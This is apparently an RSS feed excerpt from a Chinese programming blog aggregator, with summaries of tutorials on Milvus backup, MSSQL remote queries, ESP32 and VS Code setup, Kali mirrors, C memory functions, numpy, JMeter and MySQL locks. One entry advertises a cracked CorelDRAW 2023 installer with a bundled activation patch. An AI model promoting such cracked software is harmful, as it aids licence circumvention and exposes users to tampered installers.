      <description>文章目录 环境代码准备备份构建/运行验证 恢复遇到的问题 环境 milvus：v2.2.4&#xA;go：1.20.2 darwin/amd64&#xA;milvus-backup：v0.2.2&#xA;代码准备 https://github.com/zilliztech/milvus-backup/releases&#xA;如果你的milvus是2.2.9版本及以上，可以直接下载最新的版本：git clone https://github.com/zilliztech/milvus-backup.git&#xA;默认使用的配置文件在config目录下，如果不需要手动指定，直接修改改文件即可，主要修改milvus和minio相关配置即可&#xA;示例：&#xA;# Configures the system log output. log: level: info # Only supports debug, info, warn, error, panic, or fatal. Default &#39;info&#39;. console: true file: rootPath: &#34;logs/backup.log&#34; http: simpleResponse: true # milvus proxy address, compatible to milvus.yaml milvus: address: milvus-t-milvus.milvus.svc.t2.test.xdf.cn port: 19530 authorizationEnabled: false # tls mode values [0, 1, 2] # 0 is close, 1 is one-way authentication, 2 is two-way authentication.</description>
    </item>
    <item>
      <title>MSSQL开启远程开合库查询</title>
      <link>https://bchobby.github.io/posts/b62f11ad0aeb0014d020a41daa533ecc/</link>
      <pubDate>Fri, 21 Jul 2023 14:54:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b62f11ad0aeb0014d020a41daa533ecc/</guid>
      <description> select top 1 * from OPENDATASOURCE( &#39;SQLOLEDB&#39;, &#39;Data Source=ip;User ID=*;Password=****&#39; ).数据库名.dbo.表名 #开启配置语句： EXEC sp_configure &#39;show advanced options&#39;, 1 GO RECONFIGURE GO EXEC sp_configure &#39;Ad Hoc Distributed Queries&#39;, 1 GO RECONFIGURE GO </description>
    </item>
    <item>
      <title>ESP32-IDF环境搭建之VScode环境</title>
      <link>https://bchobby.github.io/posts/77eff8ee33b36a15f5c9553c48a0c2d1/</link>
      <pubDate>Fri, 21 Jul 2023 14:51:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77eff8ee33b36a15f5c9553c48a0c2d1/</guid>
      <description>一、简介 本次分享采用VSCODE+Espressif IDF插件&#xA;创建一个全新的虚拟机&#xA;二、需要下载的文件 1.esp-idf-tools-setup-offline-4.4.4 网址：https://dl.espressif.cn/dl/esp-idf/?idf=4.4 下载到电脑上后，双击安装&#xA;自定义安装路径，我这里默认&#xA;安装&#xA;安装完成之后会自动安装这两个，双击打开两个，安装环境&#xA;出现一下现象代表安装成功&#xA;至此，idf编译环境已经安装成功，可以使用命令行编译程序。接下来，安装VScode，使用ESP32-IDF插件达到相同的效果。&#xA;2.VScode 网址：Visual Studio Code - Code Editing. Redefined 安装VScode，建议全部勾选&#xA;三、安装和配置VScode插件 安装完成后，打开VScode，先安装这两个插件。&#xA;等待Espreeif IDF插件安装完成之后，等待它自动跳出一下两个选项，等待上面的下载好，下面的view changelog忽略，点击取消或者关闭。&#xA;如果没跳出上面的界面，可以用ctrl+shift+p ，选择 配置ESP-IDF:插件&#xA;进入后，Global不变，选择高级-ADVANCED&#xA;进入后，选择Espressif服务器下载，Espressif是国内的下载，但是第三步安装python环境会出问题，不过我们这里不用管第三步。后面两个地址是刚刚安装esp-idf-tools-setup-offline-4.4.4的地方，复制上对应的地址就行&#xA;点击安装&#xA;安装完成后会自动跳转，安装IDF工具。我们选择安装已经存在的工具。&#xA;安装完成后会跳出这个报错，不用管它，到这里已经配置完成。&#xA;ps：如果是在虚拟机上搭建的，需要在主机里把VScode里的Espressif IDF插件的自动同步关掉，避免后后面两个VScode相互影响。（如果没有这个选项，就不用管）&#xA;四、解决工程里识别不到文件出现红色波浪线的情况 1.先打开一个hello world工程。 ctrl+shift+p，导出一个例程&#xA;打开后点开main文件，此时右下角会弹出提示你安装拓展，点击安装&#xA;注意：跳出的这个不要点击确认（VScode自动弹出的扩展，除了可以确定能用的尽量别点，会出现莫名其妙的问题）&#xA;安装完成之后，会出现一下这些插件，这里把Cmake工具都关了，VScode头文件调用只和c/c++的三个插件有关。&#xA;关闭之后，点击编译&#xA;出现这个文件进度[25/1075]说明成功进入编译，此时搭建完毕。&#xA;如果头文件上还是有波浪线，可以关闭VScode再打开，右下角会弹出配置.json提示，点击是，波浪线就会消失。&#xA;如果没弹出这个提示，右下角会有一个黄色的感叹号框，点开之后手动配置 IntelliSense，选择弹出的第一项即可。&#xA;如果中途出现错误，需要清除VScode的环境，然后重新操作，后续会放上清除电脑上的已存在的VScode环境的教程。</description>
    </item>
    <item>
      <title>vue-ui 快速搭建vue项目</title>
      <link>https://bchobby.github.io/posts/79ae6e3c189218c49ffe589531acb82e/</link>
      <pubDate>Fri, 21 Jul 2023 14:25:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79ae6e3c189218c49ffe589531acb82e/</guid>
      <description>【准备阶段】 安装好NodeJS、NPM工具&#xA;安装Vue CLI - 官方发布的一个vue.js项目脚手架，使用vue-cli可以快速创建Vue项目&#xA;vue ui 是在 vue-cli 基础上封装的。&#xA;$ npm install -g @vue/cli&#xA;【vue-ui 搭建vue项目】 dos cmd命令行输入：&#34;vue ui&#34;&#xA;$ vue ui&#xA;启动后有个浏览器页面引导搭建项目，步骤：&#xA;1.使用npm作为包管理器&#xA;2.选择vue版本vue2/3，选定手动配置项目&#xA;3.选择功能：Babel、Router、Vuex，其他不选，也不要预设项目&#xA;4.右上角：安装依赖 axios、element-plus，查看运行依赖中是否到位&#xA;5.安装完成，参考element-plus官网(https://element-plus.org/zh-CN/)指南-&#34;完整引入&#34;部分引入element-plus&#xA;# 在src/main.js文件中引入&#xA;import ElementPlus from &#39;element-plus&#39;&#xA;import &#39;element-plus/dist/index.css&#39;&#xA;app.use(ElementPlus)&#xA;官网：&#xA;https://element-plus.org/zh-CN/&#xA;指南：https://element-plus.org/zh-CN/guide/design.html&#xA;https://element-plus.gitee.io/zh-CN&#xA;6.测试element-plus组件是否生效&#xA;右上角&#34;组件&#34; --引入&#34;按钮&#34;组件代码 -- 放到src/views/AboutView.vue，覆盖所有页面内容&#xA;去掉&amp;lt;script lang=&#34;ts&#34; setup&amp;gt;中的lang=&#34;ts&#34;&#xA;7.运行服务：npm run serve&#xA;8.访问：localhost:8080/#/about&#xA;9.访问成功，前端项目搭建成功！&#xA;10.开发过程中如果需要安装组件，比如：sass&#xA;# 登录：localhost:8080/dashboard&#xA;# &#34;项目依赖&#34;页面展示中如果没有需要的组件则进行安装&#xA;# 点击左侧菜单&#34;依赖&#34; --&amp;gt; 页面右上角&#34;安装依赖&#34; --&amp;gt; 查找输入框里输入&#34;sass&#34; --&amp;gt; 选中组件 --&amp;gt; 右下角点击&#34;</description>
    </item>
    <item>
      <title>Kali 更换源（超详细，附国内优质镜像源地址）</title>
      <link>https://bchobby.github.io/posts/a87ebca9718d302c4db07e25f74052fa/</link>
      <pubDate>Fri, 21 Jul 2023 13:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a87ebca9718d302c4db07e25f74052fa/</guid>
      <description>1.进入管理员下的控制台。&#xA;2. 输入密码后点击“授权”。&#xA;3.在控制台内输入下面的内容。&#xA;vim /etc/apt/sources.list 4.敲击回车后会进入下面的页面。&#xA;5.来到这个页面后的第一部是按键盘上的“i”键，左下角出现“插入”后说明操作正确。&#xA;6.使用“#”将原本的源给注释掉。&#xA;7. 从下面的源内选择一个复制下来准备粘贴进去（都是优质源，复制哪个都可以）。&#xA;中科大Kali镜像源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 阿里云Kali镜像源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib 清华大学Kali镜像源 deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free 8.将上面复制的源粘贴到下图所示位置。&#xA;9.按键盘上的“ESC”键，左下角的“插入”消失说明操作正确。&#xA;10.输入“:wq!”（注意使用英文输入法），这步操作是保存配置并退出。&#xA;:wq! 11. 回车后便成功保存并退出了。&#xA;12.之后执行下面的命令更新源。&#xA;apt-get update 13.回车后等待即可，约一分钟，出现下面页面即更新成功了。&#xA;14.接下来可以使用下面的命令来对软件进行更新（如果不需要更新则可以忽略下面内容）。&#xA;命令1： apt-get upgrade 命令2： apt-get dist-upgrade 上面两条命令均是用来更新所有软件的，不同的是： 它能识别新版本的依赖关系， 将不要的依赖进行卸载， 将需要升级的依赖进行升级。 注： 在更新软件期间可能会需要确认、配置、显示更新日志等，按照提示操作即可。</description>
    </item>
    <item>
      <title>Notepad&#43;&#43;一键编译运行C/C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/cc7f19a8c6d83408818980eb17bce31f/</link>
      <pubDate>Fri, 21 Jul 2023 13:13:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc7f19a8c6d83408818980eb17bce31f/</guid>
      <description>Notepad++编译运行C/C++ 为了使C/C++代码调试更方便，通过Notepad++与MinGw联合使用，一键编译运行代码。&#xA;本文记录Notepad++与MinGw配置方法。&#xA;MinGW安装 官网路径：MinGW&#xA;安装包：&#xA;win64选x86_64-win32-seh&#xA;win32选i686-win32-dwarf&#xA;具体为什么选择seh或dwarf，因为性能最优，具体了解请自行查找。&#xA;点击后，跳到如下界面，等待几秒钟后自动下载。&#xA;下载完成后将其解压，无需安装，如下图所示，将文件放到选中路径下。比如D:\mingw-w64&#xA;综上，MinGW就安装好了。接下来需要配置系统变量。&#xA;系统变量配置 右键【我的电脑】选择【属性】，在弹出界面选择【高级系统设置】&#xA;点击【环境变量】在【系统变量】中选择【Path】添加MinGW-64文件夹中bin文件夹路径。如D:\SoftWare\mingw-w64\bin。&#xA;打开CMD界面输入【gcc -v】将会显示MinGW-64组将列表。如下图所示，表示安装成功。&#xA;Notepad++安装 官网路径：Notepad++&#xA;GitHub路径：Notepad++&#xA;官网路径很难加载，经常提示无法访问，建议使用GitHub路径，如下图所示，选择【Notepad++ release 8.5.3】进入下载页面。&#xA;在下载页面，选择对应得exe文件下载，进行安装即可。&#xA;设置运行指令 C 编译运行：&#xA;cmd /k gcc -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT C++ 编译运行：&#xA;cmd /k g++ -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT 打开Notepad++，点击【运行】&#xA;输入上述代码C或C++，点击保存&#xA;设置快捷键，保存即可。&#xA;打开.c文件时输入C编译运行快捷键，即可输出结果。&#xA;打开.cpp文件时输入C++编译运行快捷键，即可输出结果。&#xA;Python设置运行指令 cmd /k cd /d &#34;$(CURRENT_DIRECTORY)&#34; &amp;amp; python &#34;</description>
    </item>
    <item>
      <title>idea64.exe.vmoptions位置说明</title>
      <link>https://bchobby.github.io/posts/364cc16ff5ee85d7cd7f5aac012734dc/</link>
      <pubDate>Fri, 21 Jul 2023 11:28:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/364cc16ff5ee85d7cd7f5aac012734dc/</guid>
      <description> idea64.exe.vmoptions有3个地方 1 系统环境变量 IDEA_VM_OPTION2 idea安装目录3 APPDATA目录 </description>
    </item>
    <item>
      <title>Kali时间同步</title>
      <link>https://bchobby.github.io/posts/34a5c7ed5258cf61e3ccf6e8e87c76a4/</link>
      <pubDate>Fri, 21 Jul 2023 11:16:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34a5c7ed5258cf61e3ccf6e8e87c76a4/</guid>
      <description>网络时间协议，英文名称：Network Time Protocol（NTP）是用来使计算机时间同步化的一种协议，它可以使计算机对其服务器或时钟源（如石英钟，GPS等等)做同步化，它可以提供高精准度的时间校正（LAN上与标准间差小于1毫秒，WAN上几十毫秒），且可介由加密确认的方式来防止恶毒的协议攻击。NTP的目的是在无序的Internet环境中提供精确和健壮的时间服务。&#xA;安装NTP&#xA;apt-get install -y ntp 修改文件&#xA;/etc/ntpsec/ntp.conf server 0.debian.pool.ntp.org iburst dynamic&#xA;server 1.debian.pool.ntp.org iburst dynamic&#xA;server 2.debian.pool.ntp.org iburst dynamic&#xA;server 3.debian.pool.ntp.org iburst dynamic&#xA;重启NTP服务&#xA;/etc/init.d/ntpsec restart kali时间校正&#xA;参考: https://blog.csdn.net/heybob/article/details/9254289</description>
    </item>
    <item>
      <title>C语言内存函数（memcpy、memmove、memcmp）详解</title>
      <link>https://bchobby.github.io/posts/20bcc13b3cb3f34363040561ff995d77/</link>
      <pubDate>Fri, 21 Jul 2023 11:06:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20bcc13b3cb3f34363040561ff995d77/</guid>
      <description>一、memcpy（string.h） 1.介绍 memcpy函数为内存拷贝函数，既可以拷贝字符串，也可以拷贝整形数组、浮点型数组等，具有明显的应用优势，&#xA;destination为目的地空间，source为不可修改（const）的来源空间，num表示无符号的字节数。其主要含义为将source内容拷贝到destination中，拷贝num个字节数。其返回类型、目的地、来源类型均为void* ，void*可以接收任意类型的参数。因为它可以拷贝多种不同类型的内容，运用单一的类型，就限制了其拷贝的内容了。size_t表示无符号数。&#xA;返回时会返回目的地的起始位置地址。&#xA;下面我们通过几个例子了解一下它的用途。&#xA;2.例子 2.1 例一 通过例一我们发现，memcpy函数将arr1的前5个字节数拷贝进了arr2数组中因为char类型的变量所占的字节数为1，所以abcde都拷进了arr2中。返回值为arr2数组的起始位置的地址。&#xA;2.2 例二 例一和例二的不同点在于多拷贝了一个字节，将arr1中的字符&#39;\0&#39;拷进了arr2中，因此在打印arr2数组时遇见了拷贝进去的字符&#39;\0&#39;，因此它只会打印&#39;\0&#39;之前的内容，所以打印出的结果为abcde。&#xA;这也就说明了内存拷贝函数memcpy不会去管拷贝内容究竟是什么，只要没到达我拷贝的字节数，那就嘎嘎拷贝就完了。&#xA;2.3 例三 例三不为字符的拷贝了，为整形数组的拷贝，与浮点数拷贝两者相同。 也是将arr1中的前20个字节数，也就是5个整形变量，拷贝进了arr2中，其主要关键的点在于20表示的意思为前20个字节数。当然，如果你拷贝前19个字节，就会出现一些问题，所以拷贝时尽量按照一个变量所占字节数的整数倍来进行拷贝。&#xA;2.4 例四 我们预期结果为1 2 1 2 3 4 5 8 9 10 但实际结果为1 2 1 2 1 2 1 8 9 10。因此达不到我们预期结果。&#xA;这是因为我们想将12345拷贝进34567之中，所以1拷贝代替了3，2拷贝代替了4，此时3和4被变成了1和2，那么再拷贝3和4进5和6时，就是1和2拷贝进5和6了，剩下的拷贝也是如此。&#xA;应注意，此时目的地空间和来源空间有重叠空间，因此memcpy函数不支持有重叠内存空间的拷贝的，此时我们就需要另一个函数memove来帮助我们处理有重叠空间的内存拷贝。&#xA;二、memove（string.h） 1.介绍 memove函数为内存移动函数，也就是将来源空间内容移动到目的地空间之中。相当于拷贝。&#xA;其参数类型和返回值和memcpy完全相同，其含义为将source（来源）前num个字节数空间的内容移动到destination（目的地）空间之中，和拷贝含义几乎相同。这就过多介绍了。其用法也基本相同，只不过,memmove函数可以处理重叠内存空间的拷贝。&#xA;直接看实例&#xA;2.例子 只看一个例子即可，就是重叠内存空间的处理，其他处理和memcpy函数相同。&#xA;可以看到，memmove函数可以处理重叠内存空间的拷贝（移动）。因此在使用memcpy和memmove两个函数时要注意其应用条件。&#xA;三、memcmp（string.h） 1.介绍 memcmp函数为内存比较函数，其与字符串比较函数strcmp函数相像，不同的是memcmp函数可以既可以比较整形、浮点型，也可以比较字符串。&#xA;因为是比较函数，所以原来的空间内容是不可被修改的，只能用于比较，因此前两个参数都用了const做修饰。其可以接收任意类型的参数。其基本含义为比较两个空间前num个字节数内容大小，返回值类型为整形，若ptr1 &amp;gt; ptr2，则返回大于0的数字，若等于，则返回0，若小于，则返回小于0的数字。&#xA;2.例子 比较arr1和arr2前9个字节空间的内容，而arr1和arr2前九个字节相同，因此返回0。&#xA;而比较前10个字节的时候，arr2的第10个字节内容大于arr1第10个字节的内容的，因此返回-1，表示arr1小于arr2。&#xA;综上，三大内存函数就已完全结束。</description>
    </item>
    <item>
      <title>numpy基本用法</title>
      <link>https://bchobby.github.io/posts/c47f9d2bf8f02c66251f55a9ab94725e/</link>
      <pubDate>Fri, 21 Jul 2023 11:00:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c47f9d2bf8f02c66251f55a9ab94725e/</guid>
      <description>numpy基本用法 创建矩阵、查看维度、形状和元素数量numpy数据类型创建特殊numpy矩阵numpy生成range矩阵、等差、等比矩阵、reshape 矩阵的计算矩阵元素的加减乘除矩阵的函数sin、cos、boolean矩阵的乘法矩阵sum、max、min矩阵内部计算 矩阵的索引矩阵的合并 创建矩阵、查看维度、形状和元素数量 import numpy as np array = [[1,2,3], [4,5,6]] array = np.array(array) print(array) print(&#39;number of dim: &#39;, array.ndim) print(&#39;shape: &#39;, array.shape) print(&#39;size: &#39;, array.size) [[1 2 3] [4 5 6]] number of dim: 2 shape: (2, 3) size: 6 numpy数据类型 dtype（np.int64、int32、float64等等）&#xA;array = np.array([[1,2,3], [4,5,6]], dtype=np.int64) print(array) [[1 2 3] [4 5 6]] 创建特殊numpy矩阵 np.zeros((2,3)) array([[0., 0., 0.], [0., 0., 0.]]) np.ones((2,3), dtype=int) array([[1, 1, 1], [1, 1, 1]]) np.</description>
    </item>
    <item>
      <title>cdr2023 CorelDRAW Graphics 2023 集成免登陆多语言中文直装版</title>
      <link>https://bchobby.github.io/posts/51344693784dc5a1a972434a7c693a2e/</link>
      <pubDate>Thu, 20 Jul 2023 23:23:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51344693784dc5a1a972434a7c693a2e/</guid>
      <description>cdr2023 CorelDRAW Graphics 2023 集成免登陆多语言中文直装版，CorelDRAW Graphics Suite 2023 一键直装正式版，此版本内置安装序列号，基于官方版本制作而成，不过目前只支持 x64位的系统，集成河蟹授权激活文件，真正的 CorelDRAW Graphics Suite 2023 免登陆正式版，集成了 CorelDRAW 2023 免登陆河蟹补丁，直接解压即可安装使用，无需解锁钥匙注册登陆，无需要用户名登陆，目前限时发布更新分享，各位同学请尽快下载使用。&#xA;使用说明&#xA;1、基于官方正式版 CorelDRAW Graphics Suite 2023 解包制作&#xA;2、集成所需要CorelDRAW正版序列号及河蟹授权文件制作而成解压安装即可&#xA;3、集成 CorelDRAW 2023 免登陆河蟹补丁，直接安装即可食用一键安装河蟹&#xA;CorelDRAW Graphics Suite 2023 一键直装中文完美正式版是一款领先的图形设计软件，受到数百 万专业人士、小型企业主以及全球设计爱好者的热捧。它可以提供无缝的图 形、版面、插图、照片编辑、摹图、网络图像、印刷项目、美术作品、排版 等设计体验。随心设计，获得惊艳的设计效果。&#xA;软件特色&#xA;1、体验&#xA;无论您是初始用户还是经验丰富的设计师，CorelDRAW Graphics Suite 2023开始使用十分简便。了解基本功能、通过启动概览查看新增内容，或通过仅为 Adobe 用户设计的特殊概览转移到套件。使用匹配工作流需求的工作区可立即提高效率，并从高质内容和通用产品内学习中获益&#xA;2、个性化&#xA;请在主页了解所有收藏工具！可根据需求调整设计空间并自定义图标大小、桌面和窗口边框颜色。借助受欢迎的 Corel Font Manager 2023，为您的项目探索并管理字体。通过下载免费和高级应用程序、插件、扩展、字体包等，直接在应用程序中扩展创意工具和内容集合&#xA;3、工艺&#xA;通过这款图形设计软件高水准的直观功能，充分展现您的设计技巧。通过字体搜索和筛选功能，为任何项目快速查找字体。通过全新的 LiveSketch 工具节省宝贵的设计时间；而在创意迸发时，允许您在启用画笔的设备上捕获所有原始创意。借助全新的节点编辑功能加快工作速度，并使用 Corel® PHOTO-PAINT® 2023 中的“修复复制”工具精修照片&#xA;4、愉悦&#xA;交付专业质量输出，将在任何介质上使人过目不忘：从与众不同的徽标和标志到引人注目的营销材料、Web 和社交媒体图形，应有尽有！凭借行业领先的文件格式兼容性和高级颜色管理工具，CorelDRAW Graphics Suite 2023可提供所有项目类型所需的灵活性和颜色精确度。了解充满活力和灵感的CorelDRAW用户社区，以对您的创意之旅产生积极影响&#xA;新功能变化&#xA;1、合并打印&#xA;CorelDRAW 2023 更新了将绘图与可变文本片段合并的方式，从而产生多种不同的设计副本。凭借全面修正的 UI 和简化的工作流，通过”合并打印”功能可更轻松地将图形与数据源合并，以快速生成个性化批量邮件、目标市场营销作品、名片、证书等。</description>
    </item>
    <item>
      <title>Flink SQL之常用函数(二)</title>
      <link>https://bchobby.github.io/posts/1d840667c22ce47952dd4fd8564d5fcc/</link>
      <pubDate>Thu, 20 Jul 2023 22:37:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d840667c22ce47952dd4fd8564d5fcc/</guid>
      <description>1.时间函数 time interval unit时间单位：SECOND，MINUTE，HOUR，DAY，WEEK，MONTH，QUARTER，或YEAR。DATE_FORMAT(timestamp, string) 此功能存在严重错误，暂时不要使用。CURRENT_DATE：UTC 时区 系统日期 例如：select CURRENT_DATE; 返回 2021-10-08&#xA;CURRENT_TIME：UTC 时区 系统时间 例如：select CURRENT_TIME; 返回 09:25:28.137&#xA;CURRENT_TIMESTAMP：UTC 时区 系统时间戳，TIMESTAMP 类型 例如：select CURRENT_TIMESTAMP; 返回 2021-10-08T09:23:15.180 --注意和时区有关系&#xA;LOCALTIMESTAMP 本地时区系统时间， TIMESTAMP 类型 例如：select LOCALTIMESTAMP; 返回 2021-10-08T17:19:47.787&#xA;LOCALTIME 系统时间字符串（HH:mm:ss） 例如：select LOCALTIME； 返回 17:22:16.212&#xA;EXTRACT(timeintervalunit FROM temporal) 取日期中的年/月/日 返回整数 例如：select EXTRACT(DAY FROM DATE &#39;2006-06-05&#39;); 返回 日 为 5&#xA;例如：select EXTRACT(MONTH FROM DATE &#39;2006-06-05&#39;); 返回 月 为 6&#xA;例如：select EXTRACT(YEAR FROM DATE &#39;2006-06-05&#39;); 返回 年 为 2006</description>
    </item>
    <item>
      <title>Jmeter-常用的几种断言方法（基本用法）</title>
      <link>https://bchobby.github.io/posts/2b3a91598d36477c35ae3f27f37e9100/</link>
      <pubDate>Thu, 20 Jul 2023 21:18:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b3a91598d36477c35ae3f27f37e9100/</guid>
      <description>前言 在使用JMeter进行性能测试或者接口自动化测试工作中，经常会用到的一个功能，就是断言，断言相当于检查点，它是用来判断系统返回的响应结果是否正确，以此帮我们判断测试是否通过&#xA;本文 主要介绍几种常用的断言：响应断言、JSON断言、BeanShell 断言&#xA;一、响应断言 1. 响应断言是最常用的一种断言方法，它可以对各种返回类型的结果进行断言，比如Test、html、application/json等&#xA;2. 在需要进行断言的Sample，点击右键》添加》断言》响应断言&#xA;3. Apply to选项默认即可，Main sample only(仅作用于父节点取样器)&#xA;4. 测试字段常用的有响应文本（对响应结果进行断言）、响应头（对响应头文件进行断言）&#xA;5. 模式匹配规则常用有包括（响应结果包括断言的内容），相等（响应结果和断言结果相同）&#xA;6. 测试模式可以添加你需要断言的部分，如果是包括，就可以添加多个&#xA;7. 执行测试，断言通过则显示绿色&#xA;8. 把断言改成响应结果不存在的字段，执行结果，显示红色，断言结果显示系统响应结果不包含“测试断言”字段&#xA;二、JSON断言 1. JSON断言也是测试工作中经常用到的一种断言方法，它只能针对响应结果是applicaton/json格式的请求进行断言&#xA;2. 在需要进行断言的Sample，点击右键》添加》断言》JSON断言&#xA;3. 我们使用json断言，一般是断言某个字段值是否返回的是我们需要的，所以需要写JSON PATH（不会写的看本人另外一篇文章有介绍如何写），下图使用正则模式匹配返回的结果包含40就认为响应结果满足要求，断言配置和响应结果如下所示：&#xA;4. 下面展示断言结果为常量时，如何进行断言设置，如下图所示&#xA;三、BeanShell断言 1. BeanShell断言支持各种开发语言，本文介绍使用java编写断言，使用BeanShell断言的好处是可以自由发挥，比如当断言失败，提示预期结果、实际结果，或者失败时把结果输出到日志&#xA;2. 在需要进行断言的Sample，点击右键》添加》断言》BeanShell断言&#xA;3. 如果使用包含匹配，只需要修改预期结果即可，预期结果需要写在双引号之间，中间的双引号需要添加\转义，如下：&#xA;String response = &#34;&#34;; String Str = &#34;{\&#34;errNo\&#34;:\&#34;403\&#34;&#34;; //预期结果，需要校验的字段 response = prev.getResponseDataAsString(); //获取当前请求响应结果 if(response == &#34;&#34;){ Failure = true; FailureMessage = &#34;系统无响应，获取不到响应数据！&#34;; //对比数据库内容和响应内容，私用euqals方法判断是否一致 } else if(response.contains(Str) == false){ //把断言失败置为真 Failure = true; String Msg = &#34;</description>
    </item>
    <item>
      <title>基于javaweb&#43;mysql的ssm宠物领养信息管理系统(JavaWeb JSP MySQL Servlet SSM SpringBoot Layui Ajax)</title>
      <link>https://bchobby.github.io/posts/9a7bb83d306837cb9250259b20489c76/</link>
      <pubDate>Thu, 20 Jul 2023 20:35:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a7bb83d306837cb9250259b20489c76/</guid>
      <description>基于javaweb+mysql的ssm宠物领养信息管理系统(JavaWeb JSP MySQL Servlet SSM SpringBoot Layui Ajax)&#xA;运行环境&#xA;Java≥8、MySQL≥5.7、Tomcat≥8&#xA;开发工具&#xA;eclipse/idea/myeclipse/sts等均可配置运行&#xA;技术框架&#xA;JavaBean MVC JSP SSM(Spring SpringMVC MyBatis) MySQL CSS JavaScript Layui Ajax&#xA;适用&#xA;课程设计，大作业，毕业设计，项目练习，学习演示等&#xA;功能说明&#xA;登录、注册、退出、用户模块、公告模块、领养模块、宠物模块的增删改查管理&#xA;eclipse/MyEclipse运行：&#xA;idea运行：&#xA;* 跳转到列表页面 * * @param request * @param response */ private void redirectList(HttpServletRequest request, HttpServletResponse response) throws IOException { //查询列和关键字 String searchColumn = request.getParameter(&#34;searchColumn&#34;); String keyword = request.getParameter(&#34;keyword&#34;); Map&amp;lt;String, Object&amp;gt; params = new HashMap();//用来保存控制层传进来的参数(查询条件) params.put(&#34;searchColumn&#34;, searchColumn);//要查询的列 params.put(&#34;keyword&#34;, keyword);//查询的关键字 response.getWriter().println(com.alibaba.fastjson.JSONObject.toJSONString(linyangService.list(params).get(&#34;list&#34;))); } } package com.</description>
    </item>
    <item>
      <title>shell 变量和引用</title>
      <link>https://bchobby.github.io/posts/1b70a6326cf307c3820df40d708cf62b/</link>
      <pubDate>Thu, 20 Jul 2023 20:35:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b70a6326cf307c3820df40d708cf62b/</guid>
      <description>目录&#xA;一. 变量和引用&#xA;1.1 什么是变量&#xA;1.2 变量的名称&#xA;1.3 变量的类型&#xA;1.4 变量的定义&#xA;1.5 自定义变量&#xA;1.6 环境变量&#xA;1.7 位置变量&#xA;二、变量赋值和作用域&#xA;1.1 显示赋值 ：变量名=变量值&#xA;1.2 read 从键盘读入变量值&#xA;1.3 变量和引号&#xA;1.4 变量的作用域&#xA;1.5变量的运算&#xA;一. 变量和引用 1.1 什么是变量 变量是在程序中保护用户数据的一段内存存储空间，变量名是内存空间的首地址 1.2 变量的名称 组成 ：字母、数字、下划线组成，不能以数字开头变量名称的长度，shell没有明确规定，但是为了增加可读性，建议使用较短的、见名知意的名称命名规则 1.首字母必须为字母：a-z,A-Z(推荐）&#xA;2.中间不能由空格，可以使用下划线（_）&#xA;3.不能使用标点符号&#xA;4.不能使用bash中关键字，输入help查看bash的保留字&#xA;1.3 变量的类型 原则 ：shell是一种动态类型语言和弱类型语言，变量是不分数据类型的，统一都使用字符串存储，但根据变量的上下文环境，允许程序执行一些不同的操作，如：比较、整数加减shell的变量数据类型 [root@node1 ~]# vim test1.sh #!/bin/bash #定义变量x，输入初始值123 x=123 #变量x加1 let &#34;x+=1&#34; #输出变量x的值 echo &#34;x=$x&#34; #替换x中1 的值为abc，并赋值给变量y y=${x/1/abc} #使用declare -i 声明变量y为整形变量（i 表示整型） declare -i y #输出y的值 echo &#34;</description>
    </item>
    <item>
      <title>mysql5.7中如何查看表是否被锁问题</title>
      <link>https://bchobby.github.io/posts/fe0c4ca8d507dd29e09004b6184a9068/</link>
      <pubDate>Thu, 20 Jul 2023 20:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe0c4ca8d507dd29e09004b6184a9068/</guid>
      <description>Mysql 5.7 中如何查看表是否被锁问题 如何查看是否发生死锁 在使用mysql的时候，如何查看表是否被锁呢？&#xA;查看表被锁状态和结束死锁步骤：&#xA;1.在mysql命令行执行sql语句&#xA;use dbName; // 切换到具体数据库 show engine innodb status; // 查询db是否发生死锁 2.查看数据表被锁状态&#xA;show OPEN TABLES where In_use &amp;gt; 0; 该语句可以查询到当前锁表的状态&#xA;3.分析锁表的SQL&#xA;通过sql日志，分析相应SQL，给表加索引，常用字段加索引，表关联字段加索引等方式对sql进行优化。&#xA;4.查看正在锁的事务&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS; 在5.5中，information_schema 库中增加了三个关于锁的表（innoDB引擎）：&#xA;innodb_trx ## 当前运行的所有事务 innodb_locks ## 当前出现的锁 innodb_lock_waits ## 锁等待的对应关系 5.查看等待锁的事务&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS; 6.查看锁的类型和状态：&#xA;show status like &#39;%lock%&#39;; 7.查询进程&#xA;show processlist 8.杀死发生死锁的进程&#xA;如果发生死锁，通过该语句可以查询到表被锁的进程，然后通过kill命令杀掉该进程。&#xA;其他查看表锁的情况：&#xA;# 查看表锁的情况： mysql&amp;gt; show status like &#39;table%&#39;; +----------------------------+---------+ | Variable_name | 